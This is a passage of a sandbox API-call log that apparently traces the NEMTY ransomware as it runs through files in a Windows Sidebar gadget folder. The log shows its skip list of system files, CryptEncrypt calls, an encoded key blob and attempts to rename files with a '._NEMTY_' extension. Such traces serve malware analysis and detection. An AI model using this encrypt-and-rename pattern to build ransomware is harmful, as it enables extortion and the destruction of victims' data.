Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\main.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0129.854] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0129.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0129.854] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.854] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.863] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.863] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.863] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.863] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.873] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.873] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.882] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.882] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.892] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.892] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.901] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.901] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.911] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.911] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.921] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.921] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.930] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.930] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.939] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.940] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.949] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.949] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.955] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.955] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.962] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.962] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0129.962] CloseHandle (hObject=0xffffffff) returned 0 [0129.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0129.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0129.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0129.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0129.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0129.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0129.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340500 [0129.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0129.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0129.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0129.963] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\main.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\main.css"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\main.css._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\main.css._nemty_kgobjgd_")) returned 0 [0129.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0129.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0129.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0129.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0129.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0129.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0129.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0129.963] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0129.963] lstrcmpiW (lpString1="settings.css", lpString2=".") returned 1 [0129.963] lstrcmpiW (lpString1="settings.css", lpString2="..") returned 1 [0129.963] lstrcmpiW (lpString1="settings.css", lpString2="...") returned 1 [0129.963] lstrcmpiW (lpString1="settings.css", lpString2="windows") returned -1 [0129.963] lstrcmpiW (lpString1="settings.css", lpString2="$RECYCLE.BIN") returned 1 [0129.963] lstrcmpiW (lpString1="settings.css", lpString2="rsa") returned 1 [0129.963] lstrcmpiW (lpString1="settings.css", lpString2="NTDETECT.COM") returned 1 [0129.963] lstrcmpiW (lpString1="settings.css", lpString2="ntldr") returned 1 [0129.963] lstrcmpiW (lpString1="settings.css", lpString2="MSDOS.SYS") returned 1 [0129.963] lstrcmpiW (lpString1="settings.css", lpString2="IO.SYS") returned 1 [0129.963] lstrcmpiW (lpString1="settings.css", lpString2="boot.ini") returned 1 [0129.963] lstrcmpiW (lpString1="settings.css", lpString2="boot.ini") returned 1 [0129.963] lstrcmpiW (lpString1="settings.css", lpString2="AUTOEXEC.BAT") returned 1 [0129.963] lstrcmpiW (lpString1="settings.css", lpString2="ntuser.dat") returned 1 [0129.963] lstrcmpiW (lpString1="settings.css", lpString2="desktop.ini") returned 1 [0129.964] lstrcmpiW (lpString1="settings.css", lpString2="CONFIG.SYS") returned 1 [0129.964] lstrcmpiW (lpString1="settings.css", lpString2="RECYCLER") returned 1 [0129.964] lstrcmpiW (lpString1="settings.css", lpString2="BOOTSECT.BAK") returned 1 [0129.964] lstrcmpiW (lpString1="settings.css", lpString2="bootmgr") returned 1 [0129.964] lstrcmpiW (lpString1="settings.css", lpString2="programdata") returned 1 [0129.964] lstrcmpiW (lpString1="settings.css", lpString2="appdata") returned 1 [0129.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.964] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0129.964] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0129.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0129.964] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0129.964] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0129.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0129.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.964] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0129.964] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0129.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.964] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0129.964] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0129.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0129.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0129.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0129.964] Sleep (dwMilliseconds=0x5) [0129.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x11e8530, dwHighDateTime=0x1d561e8)) [0129.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x11e8530, dwHighDateTime=0x1d561e8)) [0129.977] GetLastError () returned 0x5 [0129.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0129.977] GetLastError () returned 0x5 [0129.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0129.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0129.977] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0129.977] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0129.977] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0129.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402e8 [0129.977] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402e8, pcchString=0x653e91c | out: pszString="6cfiHAgqS4xJmbX/HShvOoCBwxwBfO4TO/hXASXyxWAgYOuSz0gdeWsnieij/XFW\r\nSFRsd2/xmxA48doSG7pvuv2uqLYT+QGjOPw9L+PHCzgHG7hpgejd2hFK8gQBi4O7\r\nTpseAbZpjdydn2+XWlK+Dtw3Rgue2nHA2cRCiZB2Q+YD87j2D3eZTiRrbmyqsfcr\r\nQm+br5waLaCrSQrJuC0Uqcg0hLb3t+hpGtL7vNS3b6JoOKA7yam285uxZHko4WdZ\r\nY4ozul26k1NIW0X3Kb4HaaiLDYh3KO2MVw6svLw2bUQjphF3+JgbBCwMmpXj79Q5\r\nL7YgnaXRDbFBTWF4Czfwtg==\r\n", pcchString=0x653e91c) returned 1 [0129.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0129.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0129.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0129.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0129.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402e8 [0129.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0129.978] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\settings.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0129.978] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0129.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0129.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.978] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.988] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.988] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.997] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.007] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.007] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.016] WriteFile (in: hFile=0xffffffff, 